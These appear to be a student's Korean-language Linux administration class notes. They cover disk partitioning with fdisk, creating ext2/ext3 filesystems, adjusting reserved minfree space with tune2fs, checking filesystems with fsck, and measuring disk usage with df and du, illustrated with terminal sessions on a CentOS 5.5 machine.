   e   extended
   p   primary partition (1-4)
p
Partition number (1-4): 2
First cylinder (1-130, default 1):
Using default value 1
Last cylinder or +size or +sizeM or +sizeK (1-130, default 130): +200M

Command (m for help): n
Command action
   e   extended
   p   primary partition (1-4)
e
Partition number (1-4): 1
First cylinder (26-130, default 26):
Using default value 26
Last cylinder or +size or +sizeM or +sizeK (26-130, default 130):
Using default value 130

Command (m for help): n
Command action
   l   logical (5 or over)
   p   primary partition (1-4)
l
First cylinder (26-130, default 26):
Using default value 26
Last cylinder or +size or +sizeM or +sizeK (26-130, default 130):
Using default value 130

Command (m for help): p

Disk /dev/sdb: 1073 MB, 1073741824 bytes
255 heads, 63 sectors/track, 130 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System
/dev/sdb1              26         130      843412+   5  Extended
/dev/sdb2               1          25      200781   83  Linux
/dev/sdb5              26         130      843381   83  Linux

Partition table entries are not in disk order

Command (m for help): w
The partition table has been altered!

Calling ioctl() to re-read partition table.
Syncing disks.


(질문) 확장파티션, 논리파티션은 왜 존재하는 것인가??
한장의 디스크로 4개 이상의 파티션을 만들어내기 위해서 번호는 구분자에 불과하다

디스크 작업 목표 : 1G 디스크를 4개의 파티션(각 용량 250MB)으로 구성하려고 한다
디스크 작업 방법 : ?

프라이머리 파티션 4개로 구성해도 되고
익스텐드 파티션 1개 만들어서 로지컬 4개로 구성해도 되고
아무튼 방법은 많다

but 번호는 순서대로 되어있어야 보기좋고 작업하기 편하다
and 운영체제가 들어가는 root 라는 파티션은 프라이머리 파티션으로 구성해야한다


(복원) 추가적인 실습이 끝나면 원래 파티션으로 복원한다.
/dev/sdb1 (1G)



[root@linux220 ~]# fdisk /dev/sdb

Command (m for help): d
Partition number (1-5): 1

Command (m for help): d
Selected partition 2

Command (m for help): p

Disk /dev/sdb: 1073 MB, 1073741824 bytes
255 heads, 63 sectors/track, 130 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System

Command (m for help): w
The partition table has been altered!

Calling ioctl() to re-read partition table.
Syncing disks.



[root@linux220 ~]# fdisk /dev/sdb

Command (m for help): n
Command action
   e   extended
   p   primary partition (1-4)
p
Partition number (1-4): 1
First cylinder (1-130, default 1):
Using default value 1
Last cylinder or +size or +sizeM or +sizeK (1-130, default 130):
Using default value 130

Command (m for help): p

Disk /dev/sdb: 1073 MB, 1073741824 bytes
255 heads, 63 sectors/track, 130 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System
/dev/sdb1               1         130     1044193+  83  Linux

Command (m for help): w
The partition table has been altered!

Calling ioctl() to re-read partition table.
Syncing disks.



파일 시스템이란? 파일을 저장하고 관리하는 체계이다.

파일과 그 안에 든 자료를 저장하고 찾기 쉽도록 유지 관리 하는 방법을 말한다.
데이터를 저장하기 위해 우리는 물리적 장치인 디스크를 장착하고 장착한 디스크를 사용 할 수 있도록 우리는 파티션 영역을 지정해준다.
사용하고자 하는 영역을 지정해 주었으면 그 안에 데이터(파일과 자료)를 저장하고 관리 할 수 있도록 파일 시스템을 만들어 준다.

파일 시스템 종류

■ 파일시스템의 종류
---------------------------------------------------------------------------
ext2  (mkfs.ext2)  리눅스 이전 버전에서 사용하는 파일시스템
ext3  (mkfs.ext3)  현재 CentOS 5.X 사용하는 파일시스템
ext4  (mkfs.ext4)  CentOS 6.X 사용하는 파일시스템
xfs   (mkfs.xfs)   고성능 저널링 파일 시스템(eXtended File System)
msdos (mfs.msdos)  MS-DOS filesystem
---------------------------------------------------------------------------


윈도우 리눅스(O) 유닉스(X)
리눅스 윈도우(O) 유닉스(O)
유닉스 윈도우(X) 리눅스(O)


[EX] 파일시스템에 대한 정보 확인

# export LANG=ko_KR.utf8
# man 5 filesystem

[root@linux220 ~]# export LANG=ko_KR.UTF-8
[root@linux220 ~]# man 5 filesystem


■ ext2 파일시스템

■ ext3 파일시스템
저널링 파일 시스템 (Journaling FileSystem) - ext3 파일 시스템 등장 배경
<주요 특징>
① ext3 파일 시스템의 가용성과 데이터 무결성 (Data Integrity)
② ext2 파일 시스템에서 ext3 파일 시스템으로 변환 용이
③ 속도

■ ext4 파일시스템
<주요 특징>
① 큰 파일 시스템 1 EBS까지의 볼륨과 16 TB 까지의 파일을 지
② Extents
③ 호환성
④ 저널 체크섬
⑤ 32000개 서브 디렉토리 제한이 깨짐
⑥ 온라인 조각모음
⑦ 빠른 파일 시스템 검사
⑧ 파일스탬프 향상
⑨ 영속적 선행 할당
⑩ 지연 할당
⑪ 그 외

■ xfs 파일시스템
<주요 특징>
① 저널링(신속한 복구 기능)
② 신속한 트랜잭션
③ 높은 확장성
④ 뛰어난 처리량



파일시스템의 구조 (포렌식할때 자세하게 설명해준다고 함)

(1) 파일시스템 구조 분석하기
[root@linux220 ~]# dumpe2fs
dumpe2fs 1.39 (29-May-2006)
Usage: dumpe2fs [-bfhixV] [-ob superblock] [-oB blocksize] device


mkfs 명령어를 통한 파일 시스템 생성

(명령어 형식)

# mkfs -t ext3 /dev/sdb1        (-t : File System Type)
# mkfs.ext3 /dev/sdb1

# mkfs -t ext2 /dev/sdb1
# mkfs.ext2 /dev/sdb1

# mkfs.ext3 -m 10 /dev/sdb1     (-m : minfree)       
# mkfs.ext3 -L mkfs /dev/sdb1   (-L : Label)
# mkfs.ext3 -b [1024|2048|4096] /dev/sdb1  (-b : block size)
[참고] # dumpe2fs /dev/sda1



[EX1] 파일 시스템 종류별 생성

(선수작업)
- 새로운 디스크 장착 (EX: /dev/sdb(1 GB))
- 파티션 작업(EX: /dev/sdb1(primary(1 GB))
# fdisk -l /dev/sdb

[root@linux220 ~]# fdisk -l /dev/sdb

Disk /dev/sdb: 1073 MB, 1073741824 bytes
255 heads, 63 sectors/track, 130 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System
/dev/sdb1               1         130     1044193+  83  Linux


[root@linux220 ~]# mkfs
mkfs         mkfs.cramfs  mkfs.ext2    mkfs.ext3    mkfs.msdos   mkfs.vfat   
[root@linux220 ~]# mkfs.ext2 /dev/sdb1
mke2fs 1.39 (29-May-2006)
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
130560 inodes, 261048 blocks
13052 blocks (5.00%) reserved for the super user
First data block=0
Maximum filesystem blocks=268435456
8 block groups
32768 blocks per group, 32768 fragments per group
16320 inodes per group
Superblock backups stored on blocks:
        32768, 98304, 163840, 229376

Writing inode tables: done                           
Writing superblocks and filesystem accounting information: done

This filesystem will be automatically checked every 27 mounts or
180 days, whichever comes first.  Use tune2fs -c or -i to override.
[root@linux220 ~]# mkfs.ext3 /dev/sdb1
mke2fs 1.39 (29-May-2006)
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
130560 inodes, 261048 blocks
13052 blocks (5.00%) reserved for the super user
First data block=0
Maximum filesystem blocks=268435456
8 block groups
32768 blocks per group, 32768 fragments per group
16320 inodes per group
Superblock backups stored on blocks:
        32768, 98304, 163840, 229376

Writing inode tables: done                           
Creating journal (4096 blocks): done
Writing superblocks and filesystem accounting information: done

This filesystem will be automatically checked every 27 mounts or
180 days, whichever comes first.  Use tune2fs -c or -i to override.


[EX2] 파일 시스템 minfree 공간 생성
minfree(Minimum Free Space) : 파일시스템(EX: ext3)이 풀(Full) 났을 때 관리자만 쓸수 있는 공간으로
                              예약된 공간(0% ~ 50%, Default : 5%)


[root@linux220 ~]# mkfs.ext3 -m 10 /dev/sdb1
mke2fs 1.39 (29-May-2006)
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
130560 inodes, 261048 blocks
26104 blocks (10.00%) reserved for the super user //10%가 됨
First data block=0
Maximum filesystem blocks=268435456
8 block groups
32768 blocks per group, 32768 fragments per group
16320 inodes per group
Superblock backups stored on blocks:
        32768, 98304, 163840, 229376

Writing inode tables: done                           
Creating journal (4096 blocks): done
Writing superblocks and filesystem accounting information: done

This filesystem will be automatically checked every 33 mounts or
180 days, whichever comes first.  Use tune2fs -c or -i to override.
[root@linux220 ~]# mkfs.ext3 -L mkfs /dev/sdb1
mke2fs 1.39 (29-May-2006)
Filesystem label=mkfs //생성이 됨
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
130560 inodes, 261048 blocks
13052 blocks (5.00%) reserved for the super user
First data block=0
Maximum filesystem blocks=268435456
8 block groups
32768 blocks per group, 32768 fragments per group
16320 inodes per group
Superblock backups stored on blocks:
        32768, 98304, 163840, 229376

Writing inode tables: done                           
Creating journal (4096 blocks): done
Writing superblocks and filesystem accounting information: done

This filesystem will be automatically checked every 36 mounts or
180 days, whichever comes first.  Use tune2fs -c or -i to override.


[EX4] 파일 시스템 블럭 사이즈 지정

[root@linux220 ~]# mkfs.ext3 -b 4096 /dev/sdb1
mke2fs 1.39 (29-May-2006)
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
130560 inodes, 261048 blocks
13052 blocks (5.00%) reserved for the super user
First data block=0
Maximum filesystem blocks=268435456
8 block groups
32768 blocks per group, 32768 fragments per group
16320 inodes per group
Superblock backups stored on blocks:
        32768, 98304, 163840, 229376

Writing inode tables: done                           
Creating journal (4096 blocks): done
Writing superblocks and filesystem accounting information: done

This filesystem will be automatically checked every 36 mounts or
180 days, whichever comes first.  Use tune2fs -c or -i to override.
[root@linux220 ~]# mkfs.ext3 -b 3072 /dev/sdb1  /* 리눅스의 블럭 사이즈는 1,2,4 K이므로 3K 지정시 2K로 선택 */
mke2fs 1.39 (29-May-2006)
Filesystem label=
OS type: Linux
Block size=2048 (log=1)
Fragment size=2048 (log=1)
130560 inodes, 522096 blocks
26104 blocks (5.00%) reserved for the super user
First data block=0
Maximum filesystem blocks=534773760
32 block groups
16384 blocks per group, 16384 fragments per group
4080 inodes per group
Superblock backups stored on blocks:
        16384, 49152, 81920, 114688, 147456, 409600, 442368

Writing inode tables: done                           
Creating journal (8192 blocks): done
Writing superblocks and filesystem accounting information: done

This filesystem will be automatically checked every 20 mounts or
180 days, whichever comes first.  Use tune2fs -c or -i to override.



[root@linux220 ~]# mkdir -p /disk1
[root@linux220 ~]# mount /dev/sdb1 /disk1
[root@linux220 ~]# df -h
Filesystem            Size  Used Avail Use% Mounted on
/dev/sda1              36G  3.1G   31G  10% /
/dev/sda8             487M   11M  451M   3% /data1
/dev/sda7             487M   11M  451M   3% /data2
/dev/sda6             487M   11M  451M   3% /data3
/dev/sda5             487M   11M  451M   3% /data4
/dev/sda3             487M   11M  451M   3% /home
tmpfs                 506M     0  506M   0% /dev/shm
/dev/hdc              3.9G  3.9G     0 100% /media/CentOS_5.5_Final
/dev/sdb1            1004M   25M  929M   3% /disk1
[root@linux220 ~]# umount /disk1
[root@linux220 ~]# df -h
Filesystem            Size  Used Avail Use% Mounted on
/dev/sda1              36G  3.1G   31G  10% /
/dev/sda8             487M   11M  451M   3% /data1
/dev/sda7             487M   11M  451M   3% /data2
/dev/sda6             487M   11M  451M   3% /data3
/dev/sda5             487M   11M  451M   3% /data4
/dev/sda3             487M   11M  451M   3% /home
tmpfs                 506M     0  506M   0% /dev/shm
/dev/hdc              3.9G  3.9G     0 100% /media/CentOS_5.5_Final


(정리) 디스크를 추가해서 작업하는 방법

(ㄱ) 디스크 인식
kudzu -> # ntsysv (# chkconfig kudzu on)

(ㄴ) 서버 Power OFF / 디스크 장착 / 부팅

(ㄷ) 파티션 작업
# ls -l /dev/sd?
# fdisk -l

# fdisk /dev/sdb

(ㄹ) 파일시스템 생성
# mkfs.ext3 /dev/sdb1

(ㅁ) 마운트 작업
# mkdir /disk1
# mount /dev/sdb1 /disk1
# vi /etc/fstab



minfree(Minimum Free Space)

       DISK
--+-------------+--
  |             |
  |             |
  |    ext3     |     <---- # df -h
  |             |
  |             |
  +-------------+
  |   minfree   |     <---- # tune2fs -l /dev/sda1 | grep -i Reserved
--+-------------+--

       DISK
  +-------------+
  |   /         |
  +-------------+
  |   /home     |
  +-------------+
  |   /tmp      |     <----- File System Full
  +-------------+
  |   /oracle   |
  +-------------+


full 나면 불필요한걸 지운다 + 용량을 증설한다
full 나면 관리자가 사용할수 있는 공간 = minfree


파일시스템에서 Minfree 공 간은 0(zero)일수 없다. 최소 minfree는 0%이다.


① 파일 시스템 생성시 minfree 공간 할당

(minfree 5%) # mkfs.ext3 /dev/sdb1
(minfree 1%) # mkfs.ext3 -m 1 /dev/sdb1
(minfree 5%) # tune2fs -m 5 /dev/sdb1

# mkfs.ext3 -m 1 /dev/sdb1    /* -m : minfree */


[root@linux220 ~]# mkfs.ext3 -m 1 /dev/sdb1
mke2fs 1.39 (29-May-2006)
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
130560 inodes, 261048 blocks
2610 blocks (1.00%) reserved for the super user
First data block=0
Maximum filesystem blocks=268435456
8 block groups
32768 blocks per group, 32768 fragments per group
16320 inodes per group
Superblock backups stored on blocks:
        32768, 98304, 163840, 229376

Writing inode tables: done                           
Creating journal (4096 blocks): done
Writing superblocks and filesystem accounting information: done

This filesystem will be automatically checked every 20 mounts or
180 days, whichever comes first.  Use tune2fs -c or -i to override.



[참고] 선수작업

파티션 설정 : /dev/sdc1(1G)
# fdisk /dev/sdc
# fdisk -l /dev/sdc

[root@linux220 ~]# fdisk /dev/sdc
Device contains neither a valid DOS partition table, nor Sun, SGI or OSF disklabel
Building a new DOS disklabel. Changes will remain in memory only,
until you decide to write them. After that, of course, the previous
content won't be recoverable.

Warning: invalid flag 0x0000 of partition table 4 will be corrected by w(rite)

Command (m for help): n
Command action
   e   extended
   p   primary partition (1-4)
p
Partition number (1-4): 1
First cylinder (1-130, default 1):
Using default value 1
Last cylinder or +size or +sizeM or +sizeK (1-130, default 130):
Using default value 130

Command (m for help): w
The partition table has been altered!

Calling ioctl() to re-read partition table.
Syncing disks.


[root@linux220 ~]# mkfs.ext3 -m 10 /dev/sdc1
mke2fs 1.39 (29-May-2006)
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
130560 inodes, 261048 blocks
26104 blocks (10.00%) reserved for the super user
First data block=0
Maximum filesystem blocks=268435456
8 block groups
32768 blocks per group, 32768 fragments per group
16320 inodes per group
Superblock backups stored on blocks:
        32768, 98304, 163840, 229376

Writing inode tables: done                           
Creating journal (4096 blocks): done
Writing superblocks and filesystem accounting information: done

This filesystem will be automatically checked every 38 mounts or
180 days, whichever comes first.  Use tune2fs -c or -i to override.



[root@linux220 ~]# mkdir /raid0 /raid1
[root@linux220 ~]# mount /dev/sdb1 /raid0
[root@linux220 ~]# mount /dev/sdc1 /raid1
[root@linux220 ~]# df -h /raid0 /raid1
Filesystem            Size  Used Avail Use% Mounted on
/dev/sdb1            1004M   18M  977M   2% /raid0 //민프리 1%
/dev/sdc1            1004M   18M  885M   2% /raid1 //민프리 10%


+-------------+
|             |
|   사용중    |
|             |
+-------------+
|             |
|   남은공간  |
|             |
+-------------+
|   minfree   |
+-------------+


[확인] minfree 공간 확인

# tune2fs –l /dev/sdb1 | grep –i Reserved
-> Reserved block count:  2610

# tune2fs -l /dev/sdc1 | grep -i Reserved
-> Reserved block count:  26104


[root@linux220 ~]# tune2fs -l /dev/sdb1 | grep -i Reserved
Reserved block count:     2610
Reserved GDT blocks:      63
Reserved blocks uid:      0 (user root)
Reserved blocks gid:      0 (group root)
[root@linux220 ~]# tune2fs -l /dev/sdc1 | grep -i Reserved
Reserved block count:     26104
Reserved GDT blocks:      63
Reserved blocks uid:      0 (user root)
Reserved blocks gid:      0 (group root)

2610(sdb1) 26104(sdc1) 10배 차이가 난다


[root@linux220 ~]# tune2fs -l /dev/sdb1
tune2fs 1.39 (29-May-2006)
Filesystem volume name:   <none>
Last mounted on:          <not available>
Filesystem UUID:          b6ba1b71-63b4-4469-8bea-9b130957f0c5
Filesystem magic number:  0xEF53
Filesystem revision #:    1 (dynamic)
Filesystem features:      has_journal resize_inode dir_index filetype needs_recovery sparse_super large_file
Default mount options:    (none)
Filesystem state:         clean
Errors behavior:          Continue
Filesystem OS type:       Linux
Inode count:              130560
Block count:              261048
Reserved block count:     2610
Free blocks:              252519
Free inodes:              130549
First block:              0
Block size:               4096
Fragment size:            4096
Reserved GDT blocks:      63
Blocks per group:         32768
Fragments per group:      32768
Inodes per group:         16320
Inode blocks per group:   510
Filesystem created:       Thu Apr 21 19:11:18 2016
Last mount time:          Thu Apr 21 19:13:33 2016
Last write time:          Thu Apr 21 19:13:33 2016
Mount count:              1
Maximum mount count:      20
Last checked:             Thu Apr 21 19:11:18 2016
Check interval:           15552000 (6 months)
Next check after:         Tue Oct 18 19:11:18 2016
Reserved blocks uid:      0 (user root)
Reserved blocks gid:      0 (group root)
First inode:              11
Inode size:               128
Journal inode:            8
Default directory hash:   tea
Directory Hash Seed:      1a8db548-12ed-4f23-8e90-a272e3f70949
Journal backup:           inode blocks
[root@linux220 ~]# tune2fs -l /dev/sdc1
tune2fs 1.39 (29-May-2006)
Filesystem volume name:   <none>
Last mounted on:          <not available>
Filesystem UUID:          320af8d8-e9b5-48f5-b28a-6cfe7775d7ea
Filesystem magic number:  0xEF53
Filesystem revision #:    1 (dynamic)
Filesystem features:      has_journal resize_inode dir_index filetype needs_recovery sparse_super large_file
Default mount options:    (none)
Filesystem state:         clean
Errors behavior:          Continue
Filesystem OS type:       Linux
Inode count:              130560
Block count:              261048
Reserved block count:     26104
Free blocks:              252519
Free inodes:              130549
First block:              0
Block size:               4096
Fragment size:            4096
Reserved GDT blocks:      63
Blocks per group:         32768
Fragments per group:      32768
Inodes per group:         16320
Inode blocks per group:   510
Filesystem created:       Thu Apr 21 19:12:54 2016
Last mount time:          Thu Apr 21 19:13:36 2016
Last write time:          Thu Apr 21 19:13:36 2016
Mount count:              1
Maximum mount count:      38
Last checked:             Thu Apr 21 19:12:54 2016
Check interval:           15552000 (6 months)
Next check after:         Tue Oct 18 19:12:54 2016
Reserved blocks uid:      0 (user root)
Reserved blocks gid:      0 (group root)
First inode:              11
Inode size:               128
Journal inode:            8
Default directory hash:   tea
Directory Hash Seed:      80796baf-97de-46af-98b5-c63e1000a0d6
Journal backup:           inode blocks




② 파일시스템 생성 이후 minfree 공간 변경

[root@linux220 ~]# tune2fs -m 1 /dev/sdc1
tune2fs 1.39 (29-May-2006)
Setting reserved blocks percentage to 1% (2610 blocks)

[root@linux220 ~]# df -h /raid0 /raid1
Filesystem            Size  Used Avail Use% Mounted on
/dev/sdb1            1004M   18M  977M   2% /raid0
/dev/sdc1            1004M   18M  977M   2% /raid1


(실무예) df -h 출력 결과 해석
# df –h
-------------------------------------------------------
Filesystem            Size  Used Avail Use% Mounted on
/dev/sda1              17G  3.9G   12G  26% /
/dev/sda8             487M   11M  451M   3% /data1
/dev/sda7             487M   11M  451M   3% /data2
/dev/sda6             487M   11M  451M   3% /data3
/dev/sda5             487M   11M  451M   3% /data4
/dev/sda3             487M   11M  451M   3% /home
-------------------------------------------------------

[root@linux220 ~]# df -h
Filesystem            Size  Used Avail Use% Mounted on
/dev/sda1              36G  3.1G   31G  10% /
/dev/sda8             487M   11M  451M   3% /data1
/dev/sda7             487M   11M  451M   3% /data2
/dev/sda6             487M   11M  451M   3% /data3
/dev/sda5             487M   11M  451M   3% /data4
/dev/sda3             487M   11M  451M   3% /home
tmpfs                 506M     0  506M   0% /dev/shm
/dev/hdc              3.9G  3.9G     0 100% /media/CentOS_5.5_Final
/dev/sdb1            1004M   18M  977M   2% /raid0
/dev/sdc1            1004M   18M  977M   2% /raid1



(실무예) 실무에서 minfree 공간을 조정하는 경우

■ 실무에서 사용되는 파티션의 크기? minfree 5%
# mkfs.ext3 /dev/sdb1

파티션 풀(Full) ---> 요청 삭제
                      -> 불 필요한 파일 삭제(시간 필요)
                      -> 원인 분석(시간 필요)

(작업절차) /was/logs 파티션(Full, /dev/sdb1)
(ㄱ) minfree 5% -> 1% (남는 공간이 4% 남게 된다 -> 서비스가 기동된다, 약간 시간을 번다)
     # tune2fs -m 1 /dev/sdb1
(ㄴ) 불 필요한 파일 삭제 (추가 시간을 번다)
(ㄷ) 원인 분석 (주어진 시간이 끝나기전에/full나기 전에 원인을 분석해야만 한다)
(ㄹ) minfree 1% -> 5% (나중을 위해서)
     # tune2fs -m 5 /dev/sdb1

지우기전에 필요한 파일 물어봐야한다 회의해서 알려주는데 시간이 걸린다
그 시간동안에 원인을 분석해야한다


실제로는 또 잘 안쓰인다고 그러고... 뭐지
배웠으면 어디에 써먹는지는 기억하고 있어야 한다 그래 맞는 말이야
많이 치는 커맨드는 나중에 실무에서도 많이 쓰는 커맨드다



파일 시스템 점검 fsck (File system check)

옛날 윈도우에서 강제로 전원을 끊고 재기동 할 때 뜨는 스캔디스크 와 같은것

파일시스템이 전원이상이나 커널에서 동작하는 프로그램의 이상, 하드웨어적인 이상, 비정상적인 시스템 shutdown이 발생하여 데미지(Damaged)를 입게 되면,
파일시스템을 fsck 명령어를 통해 파일시스템의 무결성을 점검하게 된다.
fsck 명령어와 비슷한 명령어로는 fsck.ext3, e2fsck가 있다.
이들 모두는 파일시스템을 점검하고, 손상된 파 일시스템을 복구하는 명령어이다.

(명령어 형식)

# fsck /dev/sda1
# fsck -y /dev/sd1 //-y 옵션 : 자동으로 대답해준다 yes 라고

# fsck /dev/sda1
# fsck.ext3 /dev/sda1
# e2fsck /dev/sda1


(주의!!!) fsck 명령어 사용시 주의점
마운트된 파일시스템에 대해서 fsck 명령어를 수행하지 말아야 한다.

/home, /data1, /data2, .... -> umount CMD + fsck CMD
/, /usr, /var, /tmp         -> single user mode + fsck CMD

-------+---------------+-------     ----   # fsck /dev/sda1
       |      f=2      |              |
       +---------------+              |
       |     file1     |              V
       |               |            ----
       |     file2     |
       |               |
       |               |
       |  file3(생성)  |
       |               |
-------+---------------+-------

fsck 돌릴때 용량이 크면 실행시간도 늘어난다 오래걸린다고

마운트한 상태에서 fsck 하게 되면 나중에 추가된 파일을 삭제하게 된다
싱글유저모드(일종의 윈도우 안전모드)

[EX] fsck 실습

# e2[TAB][TAB]

[root@linux220 ~]# e2
e2fsck   e2image  e2label 
[root@linux220 ~]# e2
[root@linux220 ~]# fsck.
fsck.cramfs  fsck.ext2    fsck.ext3    fsck.msdos   fsck.vfat   
[root@linux220 ~]# fsck.
[root@linux220 ~]# df -h
Filesystem            Size  Used Avail Use% Mounted on
/dev/sda1              36G  3.1G   31G  10% /
/dev/sda8             487M   11M  451M   3% /data1
/dev/sda7             487M   11M  451M   3% /data2
/dev/sda6             487M   11M  451M   3% /data3
/dev/sda5             487M   11M  451M   3% /data4
/dev/sda3             487M   11M  451M   3% /home
tmpfs                 506M     0  506M   0% /dev/shm
/dev/hdc              3.9G  3.9G     0 100% /media/CentOS_5.5_Final
/dev/sdb1            1004M   18M  977M   2% /raid0
/dev/sdc1            1004M   18M  977M   2% /raid1
[root@linux220 ~]# fsck /dev/sda3 (# fsck /home)
fsck 1.39 (29-May-2006)
e2fsck 1.39 (29-May-2006)
/dev/sda3 is mounted. 

WARNING!!!  Running e2fsck on a mounted filesystem may cause
SEVERE filesystem damage.

Do you really want to continue (y/n)? yes //이러면 안된다 서버는 여럿이 쓰니까 절대 안된다

/home: recovering journal
/home: clean, 20/128520 files, 26775/514080 blocks


[root@linux220 ~]# umount /home
[root@linux220 ~]# df -h
Filesystem            Size  Used Avail Use% Mounted on
/dev/sda1              36G  3.1G   31G  10% /
/dev/sda8             487M   11M  451M   3% /data1
/dev/sda7             487M   11M  451M   3% /data2
/dev/sda6             487M   11M  451M   3% /data3
/dev/sda5             487M   11M  451M   3% /data4
tmpfs                 506M     0  506M   0% /dev/shm
/dev/hdc              3.9G  3.9G     0 100% /media/CentOS_5.5_Final
/dev/sdb1            1004M   18M  977M   2% /raid0
/dev/sdc1            1004M   18M  977M   2% /raid1
[root@linux220 ~]# fsck /dev/sda3 (# fsck /home)
fsck 1.39 (29-May-2006)
e2fsck 1.39 (29-May-2006)
/home: clean, 20/128520 files, 26775/514080 blocks


[root@linux220 ~]# fsck -y /dev/sda3
fsck 1.39 (29-May-2006)
e2fsck 1.39 (29-May-2006)
/home: clean, 20/128520 files, 26775/514080 blocks


[root@linux220 ~]# e2fsck /dev/sda3
e2fsck 1.39 (29-May-2006)
/home: clean, 20/128520 files, 26775/514080 blocks


[root@linux220 ~]# mount /home //다시 마운트 해야해
[root@linux220 ~]# df -h
Filesystem            Size  Used Avail Use% Mounted on
/dev/sda1              36G  3.1G   31G  10% /
/dev/sda8             487M   11M  451M   3% /data1
/dev/sda7             487M   11M  451M   3% /data2
/dev/sda6             487M   11M  451M   3% /data3
/dev/sda5             487M   11M  451M   3% /data4
tmpfs                 506M     0  506M   0% /dev/shm
/dev/hdc              3.9G  3.9G     0 100% /media/CentOS_5.5_Final
/dev/sdb1            1004M   18M  977M   2% /raid0
/dev/sdc1            1004M   18M  977M   2% /raid1
/dev/sda3             487M   11M  451M   3% /home


(실무 예) "# fsck -y /dev/sda1" 사용시
# script -a fsck.log
# fsck –y /dev/sda3
# exit
# cat fsck.log

내용이 너무 길잖아 그래서 다 못봄 그러니까 파일로 만들어서 확인해야해 나중에 분명 에러가 길어져
script CMD가 뭐였더라..

싱글유저모드 들어가려면 GRUB 메뉴, 런레벨1번이 싱글유저모드



파일 시스템 사용량 측정 (df, du)
(1) df (disk free space) - 파티션 단위의 사용량 점검
df 명령어는 남은 디스크 블럭과 남은 파일의 수를 출력하는 명령어이다.


(명령어 형식)
# df
# df –k      (-k : KB) //실무에 나가서 제일 많이 쓰게 될 것이니라
# df –m      (-m : MB)
# df –h      (-h : human)

# df –k /data1
# df -k /data1 /home

# df -T       (# alias df='df -T -h') //-T : 파일 시스템의 종류와 함께 디스크의 정보를 보여줌


[root@linux220 ~]# df -k /data1
Filesystem           1K-blocks      Used Available Use% Mounted on
/dev/sda8               497829     10544    461583   3% /data1
[root@linux220 ~]# df -k /data1 /home
Filesystem           1K-blocks      Used Available Use% Mounted on
/dev/sda8               497829     10544    461583   3% /data1
/dev/sda3               497861     10556    461601   3% /home


[root@linux220 ~]# df -T //파일시스템 타입을 보여준다!!
Filesystem    Type   1K-blocks      Used Available Use% Mounted on
/dev/sda1     ext3    37114672   3236984  31961940  10% /
/dev/sda8     ext3      497829     10544    461583   3% /data1
/dev/sda7     ext3      497829     10544    461583   3% /data2
/dev/sda6     ext3      497829     10544    461583   3% /data3
/dev/sda5     ext3      497829     10544    461583   3% /data4
tmpfs        tmpfs      517504         0    517504   0% /dev/shm
/dev/hdc   iso9660     4087030   4087030         0 100% /media/CentOS_5.5_Final
/dev/sdb1     ext3     1027768     17692    999636   2% /raid0
/dev/sdc1     ext3     1027768     17692    999636   2% /raid1
/dev/sda3     ext3      497861     10556    461601   3% /home
[root@linux220 ~]# df -T -h
Filesystem    Type    Size  Used Avail Use% Mounted on
/dev/sda1     ext3     36G  3.1G   31G  10% /
/dev/sda8     ext3    487M   11M  451M   3% /data1
/dev/sda7     ext3    487M   11M  451M   3% /data2
/dev/sda6     ext3    487M   11M  451M   3% /data3
/dev/sda5     ext3    487M   11M  451M   3% /data4
tmpfs        tmpfs    506M     0  506M   0% /dev/shm
/dev/hdc   iso9660    3.9G  3.9G     0 100% /media/CentOS_5.5_Final
/dev/sdb1     ext3   1004M   18M  977M   2% /raid0
/dev/sdc1     ext3   1004M   18M  977M   2% /raid1
/dev/sda3     ext3    487M   11M  451M   3% /home



# df
-> 출력 내용 생략($HOME/.bashrc)
-> # vi ~/.bashrc
   alias df='df –h -T’   
   # . ~/.bashrc
   # alias df



(2) du (disk usage) - 디렉토리 단위의 사용량 점검
du 명령어는 디스크와 파일의 사용량을 보여준다.
du 명령어에 -s, -a, -k, -h 옵션 등을 사용하면 출력 결과는 디 렉토리와 파일의 크기, 사용된 공간, 남은 공간, 전체에서 사용중인 사용량을 출력한다.

(명령어 형식)
# du /etc
# du –k /etc    /* -k : KBytes */
# du –m /etc    /* -m : MBytes */
# du –h /etc    /* -h : human */

# du –ak /etc
# du –am /etc
# du -ah /etc

# du –sk /etc   /* -s : sum */
# du –sm /etc
# du -sh /etc


[EX] du 명령어에 대한 기본 실습
# cd /test && rm -rf /test/*
# mkdir -p dir1/dir2/dir3
# mkdir dir1/dir4
# cp /etc/passwd file1
# cp file1 dir1
# cp file1 dir1/dir2
# cp file1 dir1/dir2/dir3
# cp file1 dir1/dir4


[root@linux220 /test]# du dir1
8       dir1/dir4
8       dir1/dir2/dir3
16      dir1/dir2
32      dir1
[root@linux220 /test]# du -k dir1
8       dir1/dir4
8       dir1/dir2/dir3
16      dir1/dir2
32      dir1
[root@linux220 /test]# du -m dir1
1       dir1/dir4
1       dir1/dir2/dir3
1       dir1/dir2
1       dir1
[root@linux220 /test]# du -h dir1
8.0K    dir1/dir4
8.0K    dir1/dir2/dir3
16K     dir1/dir2
32K     dir1
[root@linux220 /test]# du -a dir1
4       dir1/dir4/file1
8       dir1/dir4
4       dir1/file1
4       dir1/dir2/dir3/file1
8       dir1/dir2/dir3
4       dir1/dir2/file1
16      dir1/dir2
32      dir1
[root@linux220 /test]# du -s dir1 /-s : sum
32      dir1


[참고] (윈도우즈 <-----> 리눅스) 비교

# df –k   (# df –h)

# du -sk /var

# cd /var
# du -sk * | sort -nr | more

# find /var -size +300M -type f


[root@linux220 /test]# df -k
Filesystem    Type   1K-blocks      Used Available Use% Mounted on
/dev/sda1     ext3    37114672   3237024  31961900  10% /
/dev/sda8     ext3      497829     10544    461583   3% /data1
/dev/sda7     ext3      497829     10544    461583   3% /data2
